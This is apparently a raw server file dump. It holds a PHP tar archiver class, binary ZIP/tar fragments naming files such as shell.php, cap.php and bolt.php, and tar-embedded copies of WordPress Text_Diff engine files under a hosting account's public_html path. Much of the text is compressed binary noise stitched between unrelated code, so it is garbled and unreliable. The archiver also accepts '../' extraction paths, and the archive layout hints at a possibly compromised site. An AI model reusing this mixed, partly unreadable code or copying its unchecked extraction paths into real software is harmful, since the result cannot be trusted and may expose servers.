	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK       |\S                    inline.php.php.tar.gznu [        PK       |\Mk]  ]              /  cap.php.php.tar.gznu [        PK       |\FI  I  	            e  error_lognu [        PK       |\p`\~  \~  
             Engine.zipnu [        PK       |\o< <  <             $ bolt.php.tarnu [        PK       |\&\d d             ` Renderer.tar.gznu [        PK       |\tF3)9 )9             . cap.phpnu [        PK       |\tT                  g inline.php.tarnu [        PK       |\a  a              3 bolt.php.php.tar.gznu [        PK       |\'ݣ    
             inline.phpnu [        PK       |\ \                 Renderer.tarnu [        PK       |\Ќ5 5             - bolt.phpnu [        PK       |\FL @  @             J cap.php.tarnu [        PK           PK     j\v6{      shell.php.php.tar.gznu [              mOF+! ډ"V+2US܋}oMwgj{ġСmJ%{ߟIDp"9}$d(tb/|*3z%7l:u#4H|jGxh{<z9|1=^a}dB,^ó
]q;!2A}`<&axkP d$J3IA||W$&]R8!+)IEHSIL)51'(B\WY a<쏇!
CׄNx$Xy> 3.i|F5L,pp|G0M8`nXP ED$;{ opd(hŉN=.M4,HRd+(i;,șd1	{aH_AS]r oN
-.
u@9ioP^$C$,W\{D}؇]vJe"x!1XSڔ'6Y 	ʤĄ6ܘ&nEkyK$!vD0>ghǩDEfKilj
IxDVbA}n+9;hIfPvvgqw8ԑDagEhaqBbVX>(1JPVixoiSVsjs&)=`Q&>~4>F!UzNU|Q֫ύd@LcWWt,FZjMb0\mx/*r:0f6Z*eIaV8⦳T
4Ϩ9gR]z!Ώ0`c⃵y0:~
1dh^mE.#O볿a[vzD|^^{avk&]T589=<r?ǧoOM!R`́qы?1!,?m/TMh&lAuUDzI5HayU-5W`@E^	mUbl"6(m=i4먺Fx÷o WCr+/!bfc]L*rN{ζ+vwJiSοh%{Gm:C@">!;miHjWqk%
R66'X@.v;-(mbmݺGG|4cRa[ɼik'&kGz?}{ ZX" rޣ'WcQaUb0-󮎽(Fڥ:k8
7Kۥ
Wꥎ^F5nۇZ<gD.-=R`rX7RQoVANw>TdY,aVsq-48&>0lV;NպIBPw^ 筜BNZ8$)D8͉<'$q-KzcSV?(i
-uT=7ڃku=-f#Rvn0vs#J:M(OȪEj:`nخoU(o@xGmZMVv|<<s7:   PK     j\h      xdiff.php.php.tar.gznu [              Vao6grf[u@lV ņ&b;,g`6/wwN.SsUfӲZIȴ.BqYehwxDZ(Lo2zE6%{zzz9ۓ|N|:闡U1C!XA{=%*(&V[qW37e\`'tC+ñ!H/d¹YȥDKQZCF!FB)'QsWk"Lna̹ۖ.Fs٘45%?j!,ܵ\꺞Du:l0~J+pv˛אk4/,z0'b879luE3ŵǤByX
9X"KҕEu),ݥUD"V/n]6iڋjϖqQ{= FO^)rNQnf)av,k&/d`\b<{Av$Dz1k4^xkt_mhj,Ei4idWo1g 6&_UD;Ixt!8t72}&m%]M9d84ƓQވ+b7	y=$EE;F'68x̂f$7%0b%,%7sa^з7踋{+ԅp_)pՇ8IuN<jM]52Mo>Sk]PdZ1J-9,:\6X](c#WsP넔@̉v͘\9zfr܈%Ոy.@#5s);H#_agmx9$_$%$:Fۃ'[yӏwq89ߡ$>|4wOߖ$&g#%}}?0nTݣ}cnʨ&vѣ=ڣ=~)p{   PK     j\)p{        xdiff.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Engine/xdiff.php                                  0000644                 00000004233 15217306022 0021201 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     PK     j\-      Renderer.php.php.tar.gznu [              Ymo6W\R۲&im-ѱY$*ZdYouao(?4D>w]%}103]ȥo¡8~~ơ8G<VcAxr;!>x;I,Y&[ر:OY,e</ ?`	s-Gּ[xYWiz9^:<BL\C88>k<A1CGE"dչȻ\H=BD.H	mVтތDti[gU(эs8s)o:2O╅1!	V $p0	k 1 btB%^lۿpbg=	s.9ЖRѼϦ6OP)(ϙō]xKytGfUX;^w)K>K`>H(NI,'3ǰd)Z̥^AE#f~̪^S8;U	["Lx.XF#E	5OG`>tC%a(biK:q,MeY'U^[4؛`doUP0[Dӆ6qn;n;byxqq NbbGdk6[ng'訖?븳s[IsL2R#c5Kru=L@[xɪdXr 1#j%ʭ~9ȎyS?u,+r(ݫp^Km=
`b}PmNjѐc@;ߚs°.<UoGsf#CKDgLC*tT%7şҿ5	ݙ/d1?.T|7ӪB/A{^`z)ЁP$MW\SlN\-Ow=Y.{MH<SY];"ku{ͅϤ87q/?HˇAsHXMe0Qlhyf Ƽ	ӫ; UH)geKEk$tԢ/
#ga2"FWa NHj0}=:E(:<YDj
I^V3#wfPVpxQS+٣0c%"M$|e]yrA)/~CV<$@:}Z#WїlS7[L ƃzrr5We3k-8m5D
W&h-ʧ~f5a;6MTA_s8U w?e2ajQSE}i9)Ich/JP"MQќZHCUGv6xiVTJBRG",-mXM[킬p*=eӵͪ{mBߙ;^<tj[da~6%ܹZ),-m:ψKE"L5}e$Ŧ,Yq fy@o@W.W9jmXŮx*kvc<i5
-ЅLZ$:寧vR0]Q6li2*Nn[E}%ogWuh5dKe.q.х۴M
7>0^|qݖ[)L*F0uo@8iXxolhd SAm[LdnxE^3='&Α`M5;AQKkXPWf,zNod=gFڃ1ҸP9m(vvKTkJ[wݚ{7$1sF-C_~vwsԓe?l(6asQ3r=wE7SHp8De(("+m|Ʒ1 "  PK     j\_m      
  Engine.tarnu [        string.php                                                                                          0000644                 00000020233 15217301663 0006567 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     shell.php                                                                                           0000644                 00000012123 15217301663 0006367 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
